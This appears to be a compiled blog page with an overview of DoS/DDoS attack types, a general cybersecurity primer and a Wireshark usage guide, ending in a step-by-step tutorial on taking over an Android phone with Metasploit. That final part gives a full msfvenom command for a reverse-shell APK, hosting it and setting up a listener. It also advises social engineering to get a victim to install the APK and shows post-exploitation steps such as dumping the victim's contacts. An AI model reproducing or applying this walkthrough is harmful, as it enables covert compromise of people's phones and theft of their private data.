What is DDoS(denial of service) attack

In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.

In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the victim originates from many different sources. This effectively makes it impossible to stop the attack simply by blocking a single source.

A DoS or DDoS attack is analogous to a group of people crowding the entry door of a shop, making it hard for legitimate customers to enter, thus disrupting trade.

Criminal perpetrators of DoS attacks often target sites or services hosted on high-profile web servers such as banks or credit card payment gateways. Revenge, blackmail  and can motivate these attacks.

Attack techniques

Attack tools

In cases such as MyDoom and Slowloris the tools are embedded in malware and launch their attacks without the knowledge of the system owner. Stacheldraht is a classic example of a DDoS tool. It uses a layered structure where the attacker uses a client program to connect to handlers which are compromised systems that issue commands to the zombie agents which in turn facilitate the DDoS attack. Agents are compromised via the handlers by the attacker using automated routines to exploit vulnerabilities in programs that accept remote connections running on the targeted remote hosts. Each handler can control up to a thousand agents.

Application-layer attacks

Application-layer attacks employ DoS-causing exploits and can cause server-running software to fill the disk space or consume all available memory or CPU time. Attacks may use specific packet types or connection requests to saturate finite resources by, for example, occupying the maximum number of open connections or filling the victim’s disk space with logs. An attacker with shell-level access to a victim’s computer may slow it until it is unusable or crash it by using a fork bomb. Another kind of application-level DoS attack is XDoS (or XML DoS) which can be controlled by modern web application firewalls (WAFs).

Degradation-of-service attacks

Pulsing zombies are compromised computers that are directed to launch intermittent and short-lived floodings of victim websites with the intent of merely slowing it rather than crashing it. This type of attack, referred to as degradation-of-service, can be more difficult to detect and can disrupt and hamper connection to websites for prolonged periods of time, potentially causing more overall disruption than a denial-of-service attack. Exposure of degradation-of-service attacks is complicated further by the matter of discerning whether the server is really being attacked or is experincing higher than normal legitimate traffic loads.

Denial-of-service Level II

The goal of DoS L2 (possibly DDoS) attack is to cause a launching of a defense mechanism which blocks the network segment from which the attack originated. In case of distributed attack or IP header modification (that depends on the kind of security behavior) it will fully block the attacked network from the Internet, but without system crash.

Distributed DoS attack

A distributed denial-of-service (DDoS) attack occurs when multiple systems flood the bandwidth or resources of a targeted system, usually one or more web servers. Such an attack is often the result of multiple compromised systems (for example, a botnet) flooding the targeted system with traffic. A botnet is a network of zombie computers programmed to receive commands without the owners’ knowledge. When a server is overloaded with connections, new connections can no longer be accepted. The major advantages to an attacker of using a distributed denial-of-service attack are that multiple machines can generate more attack traffic than one machine, multiple attack machines are harder to turn off than one attack machine, and that the behavior of each attack machine can be stealthier, making it harder to track and shut down. These attacker advantages cause challenges for defense mechanisms. For example, merely purchasing more incoming bandwidth than the current volume of the attack might not help, because the attacker might be able to simply add more attack machines. This, after all, will end up completely crashing a website for periods of time.

DDoS extortion

In 2015, DDoS botnets such as DD4BC grew in prominence, taking aim at financial institutions. Cyber-extortionists typically begin with a low-level attack and a warning that a larger attack will be carried out if a ransom is not paid in Bitcoin. Security experts recommend targeted websites to not pay the ransom. The attackers tend to get into an extended extortion scheme once they recognize that the target is ready to pay.

HTTP slow POST DoS attack

First discovered in 2009, the HTTP slow POST attack sends a complete, legitimate HTTP POST header, which includes a ‘Content-Length’ field to specify the size of the message body to follow. However, the attacker then proceeds to send the actual message body at an extremely slow rate. Due to the entire message being correct and complete, the target server will attempt to obey the ‘Content-Length’ field in the header, and wait for the entire body of the message to be transmitted, which can take a very long time. The attacker establishes hundreds or even thousands of such connections until all resources for incoming connections on the server (the victim) are used up, hence making any further (including legitimate) connections impossible until all data has been sent. It is notable that unlike many other (D)DoS attacks, which try to subdue the server by overloading its network or CPU, an HTTP slow POST attack targets the logical resources of the victim, which means the victim would still have enough network bandwidth and processing power to operate. Further combined with the fact that  will, by default, accept requests up to 2GB in size, this attack can be particularly powerful. HTTP slow POST attacks are difficult to differentiate from legitimate connections and are therefore able to bypass some protection systems. OWASP, an open source web application security project, released a tool to test the security of servers against this type of attacks.

Challenge Collapsar (CC) attack

A Challenge Collapsar (CC) attack is an attack that standard HTTP requests are sent to a targeted web server frequently, in which the Uniform Resource Identifiers (URIs) require complicated time-consuming algorithms or database operations, in order to exhaust the resources of the targeted web server.

In 2004, a Chinese hacker nicknamed KiKi invented a hacking tool to send these kinds of requests to attack a NSFOCUS firewall named “Collapsar”, and thus the hacking tool was known as “Challenge Collapsar”, or CC for short. Consequently, this type of attack got the name “CC attack”.

Internet Control Message Protocol (ICMP) flood

A smurf attack relies on misconfigured network devices that allow packets to be sent to all computer hosts on a particular network via the broadcast address of the network, rather than a specific machine. The attacker will send large numbers of IP packets with the source address faked to appear to be the address of the victim. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim’s computer will be flooded with traffic. This overloads the victim computer and can even make it unusable during such attack.

Ping flood is based on sending the victim an overwhelming number of ping packets, usually using the “ping” command from Unix-like hosts (the -t flag on Windows systems is much less capable of overwhelming a target, also the -l (size) flag does not allow sent packet size greater than 65500 in Windows). It is very simple to launch, the primary requirement being access to greater bandwidth than the victim.

Ping of death is based on sending the victim a malformed ping packet, which will lead to a system crash on a vulnerable system.

The BlackNurse attack is an example of an attack taking advantage of the required Destination Port Unreachable ICMP packets.

Nuke

A Nuke is an old denial-of-service attack against computer networks consisting of fragmented or otherwise invalid ICMP packets sent to the target, achieved by using a modified ping utility to repeatedly send this corrupt data, thus slowing down the affected computer until it comes to a complete stop.^[52]

A specific example of a nuke attack that gained some prominence is the WinNuke, which exploited the vulnerability in the NetBIOS handler in Windows 95. A string of out-of-band data was sent to TCP port 139 of the victim’s machine, causing it to lock up and display a Blue Screen of Death (BSOD).

Peer-to-peer attacks

Attackers have found a way to exploit a number of bugs in peer-to-peer servers to initiate DDoS attacks. The most aggressive of these peer-to-peer-DDoS attacks exploits DC++. With peer-to-peer there is no botnet and the attacker does not have to communicate with the clients it subverts. Instead, the attacker acts as a “puppet master,” instructing clients of large peer-to-peer file sharing hubs to disconnect from their peer-to-peer network and to connect to the victim’s website instead.

Permanent denial-of-service attacks

Permanent denial-of-service (PDoS), also known loosely as phlashing, is an attack that damages a system so badly that it requires replacement or reinstallation of hardware. Unlike the distributed denial-of-service attack, a PDoS attack exploits security flaws which allow remote administration on the management interfaces of the victim’s hardware, such as routers, printers, or other networking hardware. The attacker uses these vulnerabilities to replace a device’s firmware with a modified, corrupt, or defective firmware image—a process which when done legitimately is known as flashing. This therefore “bricks” the device, rendering it unusable for its original purpose until it can be repaired or replaced.

The PDoS is a pure hardware targeted attack which can be much faster and requires fewer resources than using a botnet or a root/vserver in a DDoS attack. Because of these features, and the potential and high probability of security exploits on Network Enabled Embedded Devices (NEEDs), this technique has come to the attention of numerous hacking communities. BrickerBot, a piece of malware that targeted IoT devices, used PDoS attacks to disable its targets.

PhlashDance is a tool created by Rich Smith (an employee of Hewlett-Packard’s Systems Security Lab) used to detect and demonstrate PDoS vulnerabilities at the 2008 EUSecWest Applied Security Conference in London.

Reflected / spoofed attack

A distributed denial-of-service attack may involve sending forged requests of some type to a very large number of computers that will reply to the requests. Using Internet Protocol address spoofing, the source address is set to that of the targeted victim, which means all the replies will go to (and flood) the target. (This reflected attack form is sometimes called a “DRDOS”.)

ICMP Echo Request attacks (Smurf attack) can be considered one form of reflected attack, as the flooding host(s) send Echo Requests to the broadcast addresses of mis-configured networks, thereby enticing hosts to send Echo Reply packets to the victim. Some early DDoS programs implemented a distributed form of this attack.

Mirai botnet

This attack works by using a worm to infect hundreds of thousands of IoT devices across the internet. The worm propagates through networks and systems taking control of poorly protected IoT devices such as thermostats, Wi-Fi enabled clocks and washing machines.W the device becomes enslaved usually the owner or user will have no immediate indication. The IoT device itself is not the direct target of the attack, it is used as a part of a larger attack. These newly enslaved devices are called slaves or bots. Once the hacker has acquired the desired number of bots, they instruct the bots to try to contact an ISP. In October 2016, a Mirai botnet attacked Dyn which is the ISP for sites such as Twitter, Netflix, etc. Assoon as this occurred, these websites were all unreachable for several hours. This type of attack is not physically damaging, but it will certainly be costly for any large internet companies that get attacked.

R-U-Dead-Yet? (RUDY)

RUDY attack targets web applications by starvation of available sessions on the web server. Much like Slowloris, RUDY keeps sessions at halt using never-ending POST transmissions and sending an arbitrarily large content-length header value.

SACK Panic

Manipulating maximum segment size and selective acknowledgement (SACK) it may be used by a remote peer to cause a denial of service by an integer overflow in the Linux kernel, causing even a Kernel panic. Jonathan Looney discovered CVE-2019-11477, CVE-2019-11478, CVE-2019-11479 on June 17, 2019.

Shrew attack

The shrew attack is a denial-of-service attack on the Transmission Control Protocol where the attacker employs man-in-the-middle techniques. It uses short synchronized bursts of traffic to disrupt TCP connections on the same link, by exploiting a weakness in TCP’s re-transmission timeout mechanism.^[73]

Slow Read attack

A slow read attack sends legitimate application layer requests, but reads responses very slowly, thus trying to exhaust the server’s connection pool. It is achieved by advertising a very small number for the TCP Receive Window size, and at the same time emptying clients’ TCP receive buffer slowly, which causes a very low data flow rate.

Sophisticated low-bandwidth Distributed Denial-of-Service Attack

A sophisticated low-bandwidth DDoS attack is a form of DoS that uses less traffic and increases their effectiveness by aiming at a weak point in the victim’s system design, i.e., the attacker sends traffic consisting of complicated requests to the system. Essentially, a sophisticated DDoS attack is lower in cost due to its use of less traffic, is smaller in size making it more difficult to identify, and it has the ability to hurt systems which are protected by flow control mechanisms.

(S)SYN flood

A SYN flood occurs when a host sends a flood of TCP/SYN packets, often with a forged sender address. Each of these packets are handled like a connection request, causing the server to spawn a half-open connection, by sending back a TCP/SYN-ACK packet (Acknowledge), and waiting for a packet in response from the sender address (response to the ACK Packet). However, because the sender address is forged, the response never comes. These half-open connections saturate the number of available connections the server can make, keeping it from responding to legitimate requests until after the attack ends.

Teardrop attacks

A teardrop attack involves sending mangled IP fragments with overlapping, oversized payloads to the target machine. This can crash various operating systems because of a bug in their TCP/IP fragmentation re-assembly code. Windows 3.1x, Windows 95 and Windows NT operating systems, as well as versions of Linux prior to versions 2.0.32 and 2.1.63 are vulnerable to this attack.

(Although in September 2009, a vulnerability in Windows Vista was referred to as a “teardrop attack”, this targeted SMB2 which is a higher layer than the TCP packets that teardrop used).

One of the fields in an IP header is the “fragment offset” field, indicating the starting position, or offset, of the data contained in a fragmented packet relative to the data in the original packet. If the sum of the offset and size of one fragmented packet differs from that of the next fragmented packet, the packets overlap. When this happens, a server vulnerable to teardrop attacks is unable to reassemble the packets – resulting in a denial-of-service condition.

Telephony denial-of-service (TDoS)

Voice over IP has made abusive origination of large numbers of telephone voice calls inexpensive and readily automated while permitting call origins to be misrepresented through caller ID spoofing.

TTL expiry attack

It takes more router resources to drop a packet with a TTL value of 1 or less than it does to forward a packet with higher TTL value. When a packet is dropped due to TTL expiry, the router CPU must generate and send an ICMP time exceeded response. Generating many of these responses can overload the router’s CPU.

UPnP attack

This attack uses an existing vulnerability in Universal Plug and Play (UPnP) protocol to get around a considerable amount of the present defense methods and flood a target’s network and servers. The attack is based on a DNS amplification technique, but the attack mechanism is a UPnP router which forwards requests from one outer source to another disregarding UPnP behavior rules. Using the UPnP router returns the data on an unexpected UDP port from a bogus IP address, making it harder to take simple action to shut down the traffic flood. According to the Imperva researchers, the most effective way to stop this attack is for companies to lock down UPnP routers.

what is cyber security ?

Cyber security is the practice of defending computers, servers, mobile devices, electronic systems, networks, and data from malicious attacks. It’s also known as information technology security or electronic information security. The term applies in a variety of contexts, from business to mobile computing, and can be divided into a few common categories.

·         Network security is the practice of securing a computer network from intruders, whether targeted attackers or opportunistic malware.

·         Application security focuses on keeping software and devices free of threats. A compromised application could provide access to the data its designed to protect. Successful security begins in the design stage, well before a program or device is deployed.

·         Information security protects the integrity and privacy of data, both in storage and in transit.

·         Operational security includes the processes and decisions for handling and protecting data assets. The permissions users have when accessing a network and the procedures that determine how and where data may be stored or shared all fall under this umbrella.

·         Disaster recovery and business continuity define how an organization responds to a cyber-security incident or any other event that causes the loss of operations or data. Disaster recovery policies dictate how the organization restores its operations and information to return to the same operating capacity as before the event. Business continuity is the plan the organization falls back on while trying to operate without certain resources.

·         End-user education addresses the most unpredictable cyber-security factor: people. Anyone can accidentally introduce a virus to an otherwise secure system by failing to follow good security practices. Teaching users to delete suspicious email attachments, not plug in unidentified USB drives, and various other important lessons is vital for the security of any organization.

The scale of the cyber threat

The global cyber threat continues to evolve at a rapid pace, with a rising number of data breaches each year. A report by RiskBased Security revealed that a shocking 7.9 billion records have been exposed by data breaches in the first nine months of 2019 alone. This figure is more than double (112%) the number of records exposed in the same period in 2018.

Medical services, retailers and public entities experienced the most breaches, with malicious criminals responsible for most incidents. Some of these sectors are more appealing to cyber criminals because they collect financial and medical data, but all businesses that use networks can be targeted for customer data, corporate espionage, or customer attacks.

With the scale of the cyber threat set to continue to rise, the International Data Corporation predicts that worldwide spending on cyber-security solutions will reach a massive $133.7 billion by 2022. Governments across the globe have responded to the rising cyber threat with guidance to help organizations implement effective cyber-security practices.

In the U.S., the National Institute of Standards and Technology (NIST) has created a cyber-security framework. To combat the proliferation of malicious code and aid in early detection, the framework recommends continuous, real-time monitoring of all electronic resources.

The importance of system monitoring is echoed in the “10 steps to cyber security”, guidance provided by the U.K. government’s National Cyber Security Centre. In Australia, The Australian Cyber Security Centre (ACSC) regularly publishes guidance on how organizations can counter the latest cyber-security threats. 

Types of cyber threats

The threats countered by cyber-security are three-fold:

1. Cybercrime includes single actors or groups targeting systems for financial gain or to cause disruption.

2. Cyber-attack often involves politically motivated information gathering.

3. Cyberterrorism is intended to undermine electronic systems to cause panic or fear.

So, how do malicious actors gain control of computer systems? Here are some common methods used to threaten cyber-security:

Malware

Malware means malicious software. One of the most common cyber threats, malware is software that a cybercriminal or hacker has created to disrupt or damage a legitimate user’s computer. Often spread via an unsolicited email attachment or legitimate-looking download, malware may be used by cybercriminals to make money or in politically motivated cyber-attacks.

There are a number of different types of malware, including:

·        Virus: A self-replicating program that attaches itself to clean file and spreads throughout a computer system, infecting files with malicious code.

·        Trojans: A type of malware that is disguised as legitimate software. Cybercriminals trick users into uploading Trojans onto their computer where they cause damage or collect data.

·        Spyware: A program that secretly records what a user does, so that cybercriminals can make use of this information. For example, spyware could capture credit card details.

·        Ransomware: Malware which locks down a user’s files and data, with the threat of erasing it unless a ransom is paid.

·        Adware: Advertising software which can be used to spread malware.

·        Botnets: Networks of malware infected computers which cybercriminals use to perform tasks online without the user’s permission.

SQL injection

An SQL (structured language query) injection is a type of cyber-attack used to take control of and steal data from a database. Cybercriminals exploit vulnerabilities in data-driven applications to insert malicious code into a databased via a malicious SQL statement. This gives them access to the sensitive information contained in the database.

Phishing

Phishing is when cyber criminals target victims with emails that appear to be from a legitimate company asking for sensitive information. Phishing attacks are often used to dupe people into handing over credit card data and other personal information.

Man-in-the-middle attack

A man-in-the-middle attack is a type of cyber threat where a cybercriminal intercepts communication between two individuals in order to steal data. For example, on an unsecure WiFi network, an attacker could intercept data being passed from the victim’s device and the network.

Denial-of-service attack

A denial-of-service attack is where cybercriminals prevent a computer system from fulfilling legitimate requests by overwhelming the networks and servers with traffic. This renders the system unusable, preventing an organization from carrying out vital functions.

Latest cyber threats

What are the latest cyber threats that individuals and organizations need to guard against? Here are some of the most recent cyber threats that the U.K., U.S., and Australian governments have reported on.

Dridex malware

In December 2019, the U.S. Department of Justice (DoJ) charged the leader of an organized cyber-criminal group for their part in a global Dridex malware attack. This malicious campaign affected the public, government, infrastructure and business worldwide.

Dridex is a financial trojan with a range of capabilities. Affecting victims since 2014, it infects computers though phishing emails or existing malware. Capable of stealing passwords, banking details and personal data which can be used in fraudulent transactions, it has caused massive financial losses amounting to hundreds of millions.

In response to the Dridex attacks, the U.K.’s National Cyber Security Centre advises the public to “ensure devices are patched, anti-virus is turned on and up to date and files are backed up”.

Romance scams

In February 2020, the FBI warned U.S. citizens to be aware of confidence fraud that cyber criminals commit using dating sites, chat rooms and apps. Perpetrators take advantage of people seeking new partners, duping victims into giving away personal data.

The FBI reports that romance cyber threats affected 114 victims in New Mexico in 2019, with financial losses amounting to $1.6 million.

Emotet malware

In late 2019, The Australian Cyber Security Centre warned national organizations about a widespread global cyber threat from Emotet malware.

Emotet is a sophisticated trojan that can steal data and also load other malware. Emotet thrives on unsophisticated password: a reminder of the importance of creating a secure password to guard against cyber threats.

End-user protection

End-user protection or endpoint security is a crucial aspect of cyber security. After all, it is often an individual (the end-user) who accidentally uploads malware or another form of cyber threat to their desktop, laptop or mobile device.

So, how do cyber-security measures protect end users and systems? First, cyber-security relies on cryptographic protocols to encrypt emails, files, and other critical data. This not only protects information in transit, but also guards against loss or theft.

In addition, end-user security software scans computers for pieces of malicious code, quarantines this code, and then removes it from the machine. Security programs can even detect and remove malicious code hidden in Master Boot Record (MBR) and are designed to encrypt or wipe data from computer’s hard drive.

Electronic security protocols also focus on real-time malware detection. Many use heuristic and behavioral analysis to monitor the behavior of a program and its code to defend against viruses or Trojans that change their shape with each execution (polymorphic and metamorphic malware). Security programs can confine potentially malicious programs to a virtual bubble separate from a user’s network to analyze their behavior and learn how to better detect new infections.

Security programs continue to evolve new defenses as cyber-security professionals identify new threats and new ways to combat them. To make the most of end-user security software, employees need to be educated about how to use it. Crucially, keeping it running and updating it frequently ensures that it can protect users against the latest cyber threats.

Cyber safety tips – protect yourself against cyberattacks

 How can businesses and individuals guard against cyber threats? Here are our top cyber safety tips:

1.      Update your software and operating system: This means you benefit from the latest security patches.

2.      Use anti-virus software: Security solutions like Kaspersky Total Security will detect and removes threats. Keep your software updated for the best level of protection.

3.      Use strong passwords: Ensure your passwords are not easily guessable.

4.      Do not open email attachments from unknown senders: These could be infected with malware.

5.      Do not click on links in emails from unknown senders or unfamiliar websites:This is a common way that malware is spread.

6.      Avoid using unsecure WiFi networks in public places: Unsecure networks leave you vulnerable to man-in-the-middle attacks

What Is Wireshark?

Originally known as Ethereal, Wireshark displays data from hundreds of different protocols on all major network types. Data packets can be viewed in real-time or analyzed offline. Wireshark supports dozens of capture/trace file formats, including CAP and ERF. Integrated decryption tools display the encrypted packets for several common protocols, including WEP and WPA/WPA2.

How to Download and Install Wireshark

Wireshark can be downloaded at no cost from the Wireshark Foundation website for both macOS and Windows. You’ll see the latest stable release and the current developmental release. Unless you’re an advanced user, download the stable version.

During the Windows setup process, choose to install WinPcap or Npcap if prompted as these include libraries required for live data capture.null

You must be logged in to the device as an administrator to use Wireshark. In Windows 10, search for Wireshark and select Run as administrator. In macOS, right-click the app icon and select Get Info. In the Sharing & Permissions settings, give the admin Read & Write privileges.

The application is also available for Linux and other UNIX-like platforms including Red Hat, Solaris, and FreeBSD. The binaries required for these operating systems can be found toward the bottom of the Wireshark download page under the Third-Party Packages section. You can also download Wireshark’s source code from this page.

How to Capture Data Packets With Wireshark

When you launch Wireshark, a welcome screen lists the available network connections on your current device. Displayed to the right of each is an EKG-style line graph that represents live traffic on that network.

To begin capturing packets with Wireshark:

1. Select one or more of networks, go to the menu bar, then select Capture.To select multiple networks, hold the Shift key as you make your selection.
2. In the Wireshark Capture Interfaces window, select Start.There are other ways to initiate packet capturing. Select the shark fin on the left side of the Wireshark toolbar, press ​Ctrl+E, or double-click the network.
3. Select File > Save As or choose an Export option to record the capture.
4. To stop capturing, press Ctrl+E. Or, go to the Wireshark toolbar and select the red Stop button that’s located next to the shark fin.

How to View and Analyze Packet Contents

The captured data interface contains three main sections:null

• The packet list pane (the top section)
• The packet details pane (the middle section)
• The packet bytes pane (the bottom section)

PACKET LIST

The packet list pane, located at the top of the window, shows all packets found in the active capture file. Each packet has its own row and corresponding number assigned to it, along with each of these data points:

• No: This field indicates which packets are part of the same conversation. It remains blank until you select a packet.
• Time: The timestamp of when the packet was captured is displayed in this column. The default format is the number of seconds or partial seconds since this specific capture file was first created.
• Source: This column contains the address (IP or other) where the packet originated.
• Destination: This column contains the address that the packet is being sent to.
• Protocol: The packet’s protocol name, such as TCP, can be found in this column.
• Length: The packet length, in bytes, is displayed in this column.
• Info: Additional details about the packet are presented here. The contents of this column can vary greatly depending on packet contents.

To change the time format to something more useful (such as the actual time of day), select View > Time Display Format.

When a packet is selected in the top pane, you may notice one or more symbols appear in the No. column. Open or closed brackets and a straight horizontal line indicate whether a packet or group of packets are part of the same back-and-forth conversation on the network. A broken horizontal line signifies that a packet is not part of the conversation.

PACKET DETAILS

The details pane, found in the middle, presents the protocols and protocol fields of the selected packet in a collapsible format. In addition to expanding each selection, you can apply individual Wireshark filters based on specific details and follow streams of data based on protocol type by right-clicking the desired item.

PACKET BYTES

At the bottom is the packet bytes pane, which displays the raw data of the selected packet in a hexadecimal view. This hex dump contains 16 hexadecimal bytes and 16 ASCII bytes alongside the data offset.

Selecting a specific portion of this data automatically highlights its corresponding section in the packet details pane and vice versa. Any bytes that cannot be printed are represented by a period.

To display this data in bit format as opposed to hexadecimal, right-click anywhere within the pane and select as bits.

How to Use Wireshark Filters

Capture filters instruct Wireshark to only record packets that meet specified criteria. Filters can also be applied to a capture file that has been created so that only certain packets are shown. These are referred to as display filters.

Wireshark provides a large number of predefined filters by default. To use one of these existing filters, enter its name in the Apply a display filter entry field located below the Wireshark toolbar or in the Enter a capture filter field located in the center of the welcome screen.

For example, if you want to display TCP packets, type tcp. The Wireshark autocomplete feature shows suggested names as you begin typing, making it easier to find the correct moniker for the filter you’re seeking.

Another way to choose a filter is to select the bookmark on the left side of the entry field. Choose Manage Filter Expressions or Manage Display Filters to add, remove, or edit filters.

You can also access previously used filters by selecting the down arrow on the right side of the entry field to display a history drop-down list.

Capture filters are applied as soon as you begin recording network traffic. To apply a display filter, select the right arrow on the right side of the entry field.

Wireshark Color Rules

While Wireshark’s capture and display filters limit which packets are recorded or shown on the screen, its colorization function takes things a step further: It can distinguish between different packet types based on their individual hue. This quickly locates certain packets within a saved set by their row color in the packet list pane.

Wireshark comes with about 20 default coloring rules, each can be edited, disabled, or deleted. Select View > Coloring Rules for an overview of what each color means. You can also add your own color-based filters.

Select View > Colorize Packet List to toggle packet colorization on and off.

Statistics in Wireshark

Other useful metrics are available through the Statistics drop-down menu. These include size and timing information about the capture file, along with dozens of charts and graphs ranging in topic from packet conversation breakdowns to load distribution of HTTP requests.

Display filters can be applied to many of these statistics via their interfaces, and the results can be exported to common file formats, including CSV, XML, and TXT.

Hacking Android phone remotely using Metasploit

We will use msfvenom for creating a payload and save it as an apk file. After generating the payload, we need to setup a listener to Metasploit framework. Once the target downloads and installs the malicious apk then, an attacker can easily get back a meterpreter session on Metasploit. An attacker needs to do some social engineering to install apk on the victim’s mobile device.

Step by step Tutorial

Generating a Payload with msfvenom

At first, fire up the Kali Linux so that we may generate an apk file as a malicious payload. We need to check our local IP that turns out to be ‘192.168.0.112’. You can also hack an Android device through Internet by using your Public/External IP in the LHOST and by port forwarding.

After getting your Local host IP use msfvenom tool that will generate a payload to penetrate the Android device. Type command:

# msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4444 R> /var/www/html/ehacking.apk

Where:

• -p indicates a payload type
• android/metepreter/reverse_tcp specifies a reverse meterpreter shell would come in from a target Android device
• LHOST is your local IP
• LPORT is set to be as a listening port
• R> /var/www/html would give the output directly on apache server
• apk is the final name of the final output

This would take some time to generate an apk file of almost ten thousand bytes.

Launching an Attack

Before launching attack, we need to check the status of the apache server. Type command:

# service apache2 status

All seems set, now fire up msfconsole. Use multi/handler exploit, set payload the same as generated prevoisly, set LHOST and LPORT values same as used in payload and finally type exploit to launch an attack.

In real life scenarios, some social engineering techniques can be used to let the target download the malicious apk file. For demonstration we are just accessing the attacker machine to download the file in the Android device.

After downloading it successfully, select the app to install.

So far, this option has been seen frequently when we try to install some third-party apps and normally users wont hesitate to allow the installation from unknown sources.

Enable the settings to install applications from the third-party sources. And finally hit the install option at the bottom.

Once the user installs the application and runs it, the meterepreter session would be opened immediatly at the attacking side.

Post Exploitation

Type “background” and then “sessions” to list down all the sessions from where you can see all the IPs connected to the machine.

You can interact with any session by typing sessions -i [session ID]

After entering the session, type “help” to list down all the commands we can put forward in this session.

You can see some file system commands that are helpful when you’re trying to go after some sensitive information or data. By using these, You can easily download or upload any file or information.

You will also find some network commands including portfwd and route

Some powerful system commands to get user ID, get a shell or getting the complete system information.

Type “app_list” and it will show you all the installed apps on the device

We also have the power to uninstall any app from the Android device

Extracting Contacts from an Android Device

Now let extract some contacts from the target device by typing “dump” and double tab

It will show all the options to extract from the device. Type “dump_contacts” and enter

It will extract all the contacts from the Android device and will save it in our local directory. To see this file type “ls” and “cat [file_name]”

This would show the content of the contact’s file earlier downloaded from the target device. This information is really sensitive and could be exploited by hackers.

There are lots of more commands available in meterpreter. Further try to explore and learn what we can perform with an Android device. This concludes that we have successfully penetrated the Android device using Kali Linux and Metasploit-Framework.

A healthy tip to secure your Android device is to not install any application from an unknown source, even if you really want to install it, try to read and examine its source code to get an idea whether this file is malicious or not.